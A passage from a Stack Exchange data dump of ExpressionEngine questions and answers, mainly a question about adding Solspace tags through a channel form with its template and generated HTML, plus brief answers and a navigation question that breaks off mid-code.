  <row Id="28727" PostTypeId="1" CreationDate="2015-01-29T16:47:40.610" Score="0" ViewCount="179" Body="&lt;p&gt;I am trying to allow for tags being added to an entry submitted via a channel form, but right now submissions end in an error message about the Language field being required (that's the tag field) even though I did enter a tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also wondering if it is possible to strip out the &quot;suggest tags&quot; and &quot;top tags&quot; buttons from the way the tag input appears in a channel form when using &quot;{field:tag_fieldtype_name}&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;channel9&quot; return=&quot;Links&quot; class=&quot;Submit&quot; id=&quot;Submit&quot;}&#xA;    &amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot; /&amp;gt;&#xA;&#xA;    {custom_fields}&#xA;        &amp;lt;label for=&quot;{field_name}&quot;&amp;gt;{field_label}&amp;lt;/label&amp;gt;&#xA;        {if textarea}&#xA;            &amp;lt;textarea id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; dir=&quot;{text_direction}&quot; cols=&quot;50&quot; rows=&quot;{rows}&quot; onclick=&quot;setFieldName(this.name)&quot;&amp;gt;{field_data}&amp;lt;/textarea&amp;gt;&#xA;        {/if}&#xA;        {if textinput}&#xA;            &amp;lt;input type=&quot;text&quot; dir=&quot;{text_direction}&quot; id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; value=&quot;{field_data}&quot; maxlength=&quot;{maxlength}&quot; size=&quot;50&quot; onclick=&quot;setFieldName(this.name)&quot; /&amp;gt;&#xA;        {/if}&#xA;    {/custom_fields}&#xA;&#xA;    {field:9_language}  &#xA;&#xA;    {category_menu}&#xA;        &amp;lt;label for=&quot;categories&quot;&amp;gt;Categories&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot;&amp;gt;&#xA;            {select_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;    {/category_menu}&#xA;&#xA;    {if captcha}&#xA;        &amp;lt;br /&amp;gt;&#xA;        &amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;br /&amp;gt;&#xA;        {captcha}&#xA;        &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot;&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The generated html looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Submission Form&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;form id=&quot;Submit&quot; class=&quot;Submit&quot; method=&quot;post&quot; action=&quot;http://www.westeros.org/Links/Submit&quot;  enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;&amp;lt;div class='hiddenFields'&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;http://www.westeros.org/Links/Submit&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;URI&quot; value=&quot;Links/Submit&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return_url&quot; value=&quot;Links&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;author_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;channel_id&quot; value=&quot;9&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;0&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;19&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;meta&quot; value=&quot;UjJTawVjV2QEOQ51BCIAPABpA28BL1YmVSVVag5mAXYPdQI4UzFSOAU0AzsDLwd6AXVbYVQ3VGhcIg8rVz5UIg19V3YKaVF3XT4IelZvUzZSaVNzBR5XPgRtDmUEIgAkAGcDJgE3VmNValUkDmABbQ82Am1TPlJnBWgDIwNvB3QBPFtjVDtUcFxjDzFXOlQ4DWZXYQprUWxdJwgyViZTOVJmU2sFcFc0BG8ObwQiAHUAfgNuAX5WblVmVTwOIQFWDyICYVM9UmsFcAMjA28HdAE8W2lUO1RwXGkPPVd5VG0Ne1c+CjFRb10nCFpWIFNhUj5TOAUmV3UEOA59BGsANwBvA28BL1YnVTVVZQ52AXcPMgJcUyJSZwVwA3QDJgdpASRbYFRjVGhcMA9iVyhUbA08Vz4KJVE/XXYIZlY7UyFSaFMzBWhXZwQ4Dn0EawA3AG0DbwEvVjVVJVVyDmsBag8lAlxTP1JsBWgDeAN2BzwBZFthVDFUaVxzD2NXalRlDTJXJgp1UTBddAh8VjxTcVI2Uw4FN1c5BHcOfAQoACQAZwM3ATdWZFVrVXUOOQEyD20CIVMjUmsFcANkAwsHbgFiW3lUOlQhXDoPaFdhVHQNOVcmCjxRJl0/CDhWZVM5UnFTMgU6VzYEbQ5gBDQAagADAzwBaVZ2VWtVdQ45ATQPbQIhU2lSIAU/A3IDbgc2ATVbYVQjVDZcZQ86VylULw14V3AKWFE2XW0IbFY2U2hScVNqBTBXbQQyDjUEIgA8AG0DYQE3VnZVMVVqDm8Bag8gAlxTM1JtBWkDbAMxB2kBclsoVCNUaVxzD2NXalRsDSpXagolUW5deA==&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;Links&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;91d57eea93d5db7b27df4e73b48072e4f2d8edad&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot; /&amp;gt;&#xA;&amp;lt;label for=&quot;9_url&quot;&amp;gt;URL&amp;lt;/label&amp;gt;&#xA;&#xA;&#xA;&amp;lt;input type=&quot;text&quot; dir=&quot;ltr&quot; id=&quot;9_url&quot; name=&quot;9_url&quot; value=&quot;&quot; maxlength=&quot;100&quot; size=&quot;50&quot; onclick=&quot;setFieldName(this.name)&quot; /&amp;gt;&amp;lt;label for=&quot;9_description&quot;&amp;gt;Description&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;textarea id=&quot;9_description&quot; name=&quot;9_description&quot; dir=&quot;ltr&quot; cols=&quot;50&quot; rows=&quot;10&quot; onclick=&quot;setFieldName(this.name)&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;label for=&quot;9_language&quot;&amp;gt;Language&amp;lt;/label&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.westeros.org/Scripts/ExpressionEngine/themes/third_party/tag/js/jquery.tag_autocomplete.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; charset=&quot;utf-8&quot; href=&quot;http://www.westeros.org/Scripts/ExpressionEngine/themes/third_party/tag/css/tag.css&quot; /&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.westeros.org/Scripts/ExpressionEngine/themes/third_party/tag/js/tag.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;screen&quot; charset=&quot;utf-8&quot; href=&quot;http://www.westeros.org/Scripts/ExpressionEngine/themes/third_party/tag/css/front_base.css&quot; /&amp;gt;&#xA;&amp;lt;!--[if IE 8]&amp;gt;&amp;lt;div class=&quot;solspace_tag_group ie8&quot; id=&quot;solspace_tag_field_206&quot;&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if IE 9]&amp;gt;&amp;lt;div class=&quot;solspace_tag_group ie9&quot; id=&quot;solspace_tag_field_206&quot;&amp;gt;&amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;!--[if (gt IE 9)|!(IE)]&amp;gt;&amp;lt;!--&amp;gt;&#xA;&amp;lt;div class=&quot;solspace_tag_group&quot; id=&quot;solspace_tag_field_206&quot;&amp;gt;&#xA;&amp;lt;!--&amp;lt;![endif]--&amp;gt;&#xA;    &amp;lt;textarea style=&quot;display:none;&quot; id=&quot;solspace_tag_ta_206&quot;&#xA;              name=&quot;9_language&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;solspace_tag_new_tags&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_section_name&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;staticwrap&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;add&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                Add&amp;amp;nbsp;Tags           &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_section_data&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;solspace_tag_input_area&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;tag_error_dialog&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;notice&quot;&amp;gt;Error text&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;tag_input&quot; value=&quot;&quot; class=&quot;tag_input&quot;/&amp;gt;&#xA;                            &amp;lt;div class=&quot;suggest_tags white_grad&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;glass&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_button_label&quot;&amp;gt;Suggest&amp;amp;nbsp;Tags&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;top_tags white_grad&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;star&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_button_label&quot;&amp;gt;Top&amp;amp;nbsp;Tags&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;tag_clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;solspace_tag_current_tags&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;tag_clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;solspace_tag_suggest_tags&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;tag_section_closer ex&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_section_name&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;staticwrap&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;glass&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                Suggest&amp;amp;nbsp;Tags           &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_section_data&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;refresh_suggest_tags white_grad&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;refresh&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;loading&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;tag_clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;solspace_tag_top_tags&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;tag_section_closer ex&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_section_name&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;staticwrap&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;star&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                Top&amp;amp;nbsp;Tags           &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_section_data&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;top_tag white_grad&quot; data-tag=&quot;S2&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_count&quot;&amp;gt;762&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;plus&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_name&quot;&amp;gt;S2&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;top_tag white_grad&quot; data-tag=&quot;Previews&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_count&quot;&amp;gt;686&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;plus&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_name&quot;&amp;gt;Previews&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;top_tag white_grad&quot; data-tag=&quot;Game of Thrones&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_count&quot;&amp;gt;526&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;plus&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_name&quot;&amp;gt;Game of Thrones&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;top_tag white_grad&quot; data-tag=&quot;WorldCon&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_count&quot;&amp;gt;485&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;plus&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_name&quot;&amp;gt;WorldCon&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;top_tag white_grad&quot; data-tag=&quot;Season 3&quot;&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_count&quot;&amp;gt;459&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;plus&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag_name&quot;&amp;gt;Season 3&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;tag_clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;tag_clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    (function(global){&#xA;&#xA;        //defaults and tag sets for the external JS&#xA;        var data = global.solspaceTag           = global.solspaceTag || {};&#xA;&#xA;        //global items (ok to overwrite)&#xA;&#xA;        //secureFormHash&#xA;        data.secureFormHash                     = '91d57eea93d5db7b27df4e73b48072e4f2d8edad';&#xA;        //this might be localized to fields later&#xA;        data.tagLimit                           = '0';&#xA;&#xA;        data.langItems                          = {&#xA;            'error'                     : &quot;Error&quot;,&#xA;            'tag_limit_reached'         : &quot;Tag Limit of %num% reached.&quot;,&#xA;            'explode_separator_desc'    : &quot;Error&quot;&#xA;        };&#xA;&#xA;        data.tabName                            = '';&#xA;        data.delimiters                         = {&quot;colon&quot;:&quot;:&quot;,&quot;comma&quot;:&quot;,&quot;,&quot;doublepipe&quot;:&quot;||&quot;,&quot;newline&quot;:&quot;\n&quot;,&quot;pipe&quot;:&quot;|&quot;,&quot;semicolon&quot;:&quot;;&quot;,&quot;space&quot;:&quot; &quot;,&quot;tab&quot;:&quot;\t&quot;,&quot;tilde&quot;:&quot;~&quot;};&#xA;&#xA;        //per field items&#xA;&#xA;        //current tags&#xA;        data['currentTags']                     = data['currentTags'] || {};&#xA;        data['currentTags']['206']  = [];&#xA;        //top tags&#xA;        data['topTags']                         = data['topTags'] || {};&#xA;        data['topTags']['206']      = ['S2','Previews','Game of Thrones','WorldCon','Season 3'];&#xA;        //all open&#xA;        data['allOpen']                         = data['allOpen'] || {};&#xA;        data['allOpen']['206']      = 'no';&#xA;        //xids&#xA;        data['xids']                            = data['xids'] || {};&#xA;        data['xids']['206']         = '91d57eea93d5db7b27df4e73b48072e4f2d8edad';&#xA;        //auto complete&#xA;        data['autocompleteURL']                 = data['autocompleteURL'] || {};&#xA;        data['autocompleteURL']['206']= 'http://www.westeros.org/?ACT=59&amp;amp;method=tag_autocomplete&amp;amp;tag_separator=doublepipe&amp;amp;tag_group_id=1';&#xA;        //suggest tags&#xA;        data['suggestTagsURL']                  = data['suggestTagsURL'] || {};&#xA;        data['suggestTagsURL']['206']= 'http://www.westeros.org/?ACT=59&amp;amp;method=tag_suggest&amp;amp;tag_separator=doublepipe&amp;amp;tag_group_id=1';&#xA;        //suggest fields&#xA;        data['suggestFields']                   = data['suggestFields'] || {};&#xA;        data['suggestFields']['206'] = [];&#xA;        //EXPLOOOOOOODDDEE!&#xA;        data['explodeSeparator']                = data['explodeSeparator'] || {};&#xA;        data['explodeSeparator']['206'] = false;&#xA;        //separator&#xA;        data['separator']                       = data['separator'] || {};&#xA;        data['separator']['206']        = '\n';&#xA;&#xA;        //if people load these via ajax, we need to set the events&#xA;        if (typeof  global.solspaceTag.domReadyFired !== 'undefined' &amp;amp;&amp;amp;&#xA;                    global.solspaceTag.domReadyFired == true)&#xA;        {&#xA;            global.solspaceTag.setFieldEvents(&quot;#solspace_tag_field_206&quot;);&#xA;        }&#xA;    })(window);&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;categories&quot;&amp;gt;Category&amp;lt;/label&amp;gt;&#xA;&amp;lt;select name=&quot;category[]&quot; id=&quot;categories&quot; size=&quot;4&quot;&amp;gt;&#xA;&amp;lt;option value='170'&amp;gt;A Song of Ice and Fire Fan Sites&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;option value='174'&amp;gt;Fan Artists&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;option value='209'&amp;gt;Game of Thrones Fan Sites&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;option value='171'&amp;gt;George R.R. Martin Fan Sites&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;option value='221'&amp;gt;Official Sites&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;option value='172'&amp;gt;Professional Artists&amp;lt;/option&amp;gt;&#xA;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;// &amp;lt;![CDATA[ &#xA;if (typeof EE == &quot;undefined&quot; || ! EE) { &#xA;var EE = {&quot;publish&quot;:{&quot;title_focus&quot;:true,&quot;smileys&quot;:true,&quot;url_title_prefix&quot;:&quot;&quot;,&quot;default_entry_title&quot;:&quot;&quot;},&quot;user_id&quot;:1,&quot;lang&quot;:{&quot;confirm_exit&quot;:&quot;When you leave, any data entered will be lost. Are you sure you want to leave?&quot;,&quot;add_new_html_button&quot;:&quot;Add New HTML button&quot;},&quot;XID&quot;:&quot;91d57eea93d5db7b27df4e73b48072e4f2d8edad&quot;,&quot;CSRF_TOKEN&quot;:&quot;91d57eea93d5db7b27df4e73b48072e4f2d8edad&quot;};}&#xA;EE.grid_cache = [];&#xA;&#xA;window.Grid = {&#xA;    bind: function() {&#xA;        EE.grid_cache.push(arguments);&#xA;    }&#xA;};mySettings = {&quot;nameSpace&quot;:&quot;html&quot;,&quot;onShiftEnter&quot;:{&quot;keepDefault&quot;:false,&quot;replaceWith&quot;:&quot;&amp;lt;br \/&amp;gt;\n&quot;},&quot;onCtrlEnter&quot;:{&quot;keepDefault&quot;:false,&quot;openWith&quot;:&quot;\n&amp;lt;p&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/p&amp;gt;\n&quot;},&quot;markupSet&quot;:[{&quot;name&quot;:&quot;b&quot;,&quot;key&quot;:&quot;B&quot;,&quot;openWith&quot;:&quot;&amp;lt;strong&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/strong&amp;gt;&quot;,&quot;className&quot;:&quot;btn_b&quot;},{&quot;name&quot;:&quot;i&quot;,&quot;key&quot;:&quot;I&quot;,&quot;openWith&quot;:&quot;&amp;lt;em&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/em&amp;gt;&quot;,&quot;className&quot;:&quot;btn_i&quot;},{&quot;name&quot;:&quot;blockquote&quot;,&quot;key&quot;:&quot;Q&quot;,&quot;openWith&quot;:&quot;&amp;lt;blockquote&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/blockquote&amp;gt;&quot;,&quot;className&quot;:&quot;btn_blockquote&quot;},{&quot;name&quot;:&quot;a&quot;,&quot;key&quot;:&quot;A&quot;,&quot;openWith&quot;:&quot;&amp;lt;a href=\&quot;[![Link:!:http:\/\/]!]\&quot;(!( title=\&quot;[![Title]!]\&quot;)!)&amp;gt;&quot;,&quot;closeWith&quot;:&quot;&amp;lt;\/a&amp;gt;&quot;,&quot;className&quot;:&quot;btn_a&quot;}]};&#xA;&#xA; // ]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot; src=&quot;http://www.westeros.org/?ACT=52&amp;amp;ui=core,widget,mouse,position,draggable,resizable,button,dialog,datepicker&amp;amp;plugin=markitup,toolbox.expose,overlay,tmpl&amp;amp;file=underscore,cp/date&amp;amp;v=1405860060&amp;amp;use_live_url=y&amp;amp;include_jquery=y&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;&#xA;// &amp;lt;![CDATA[&#xA;$(document).ready(function() {&#xA;    var SafeCracker = {}; SafeCracker.markItUpFields = EE.markItUpFields = {};&#xA;    $.datepicker.setDefaults({dateFormat:&quot;d-m-y&quot;+EE.date_obj_time});&#xA;    $.datepicker.setDefaults({defaultDate: new Date(1422970896000)});&#xA;});&#xA;// ]]&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;.hasDatepicker{background:#fff url(http://www.westeros.org/Scripts/ExpressionEngine/themes/cp_themes/default/images/calendar_bg.gif) no-repeat 98% 2px;background-repeat:no-repeat;background-position:99%;}&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="352" LastEditorUserId="352" LastEditDate="2015-02-03T13:44:13.477" LastActivityDate="2017-10-10T01:06:42.137" Title="How to add tags via channel form?" Tags="|solspace|solspace-tag|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28728" PostTypeId="2" ParentId="23920" CreationDate="2015-01-29T17:16:22.920" Score="0" Body="&lt;p&gt;Link to the CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs:&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#including-assets&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#including-assets&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2015-01-29T17:16:22.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28729" PostTypeId="1" CreationDate="2015-01-29T18:38:12.727" Score="0" ViewCount="143" Body="&lt;p&gt;I am using the demo templates from Solspace and having a bit of trouble getting filtering working. I have one calendar and I want to be able to filter the events based on a category. I can't get it to work. Do I need to create a calendar for every type of category and then just link to each calendar? &lt;/p&gt;&#xA;" OwnerUserId="1187" LastActivityDate="2015-01-30T21:31:32.297" Title="Solspace Calender Filtering events by category" Tags="|categories|solspace|filter|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28730" PostTypeId="2" ParentId="28729" CreationDate="2015-01-29T18:49:55.487" Score="0" Body="&lt;p&gt;I've used Dynamic Parameters for filtering channels. I'm thinking you can do the same with Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/dynamic_parameters.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-01-29T18:58:42.093" LastActivityDate="2015-01-29T18:58:42.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28731" PostTypeId="2" ParentId="24253" CreationDate="2015-01-29T19:25:25.380" Score="0" Body="&lt;p&gt;I am not sure if you can disable any member related functionality site-wide, but you can definitely disable it on the channel entries level, with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries disable=&quot;member_data&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should remove querying additional member related data that you are not using in your channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#disable&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#disable&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2015-01-29T19:25:25.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28732" PostTypeId="1" AcceptedAnswerId="28734" CreationDate="2015-01-29T19:52:40.647" Score="1" ViewCount="336" Body="&lt;p&gt;I have what seems like a pretty straightforward Structure navigation menu, but for some reason, the entries that &quot;Hide from Nav?&quot; set to &quot;Yes&quot; are still displaying in the navigation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9tn07.png&quot; alt=&quot;Hide from Nav selected in channel entry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is even labelled as &quot;(hidden)&quot; in the Structure interface, but still it shows up in the navigation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zb1Bs.png&quot; alt=&quot;Structure Listing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with my code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;nav-menu&quot;&amp;gt;&#xA;{exp:structure_entries depth=&quot;2&quot; current_class=&quot;active&quot;}&#xA;    {if {count} ==1}&amp;lt;ul id=&quot;top-nav&quot; {if {current+child}==1}class=&quot;active&quot; {/if}&amp;gt;{/if}&#xA;    {if {depth} == 1}&#xA;        {!-- Top Level --}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;        {if {children_total} == 0}{!-- No Children - so close markup --}&amp;lt;/li&amp;gt;{/if}  &#xA;        {if:else}{!-- Children (not top level) --}&#xA;            {if {sibling_count} == 1}&#xA;                {!-- First child - so open markup --}&#xA;                &amp;lt;div class=&quot;subnav-dropdown&quot;&amp;gt;&#xA;                    &amp;lt;ul class=&quot;level{depth} subnav&quot;&amp;gt;&#xA;            {/if}&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                            {close_markup}&#xA;                        {if {total_children} == 0 || {depth} == {restricted_depth}}&amp;lt;/li&amp;gt;{/if}&#xA;                    {if {last_sibling} 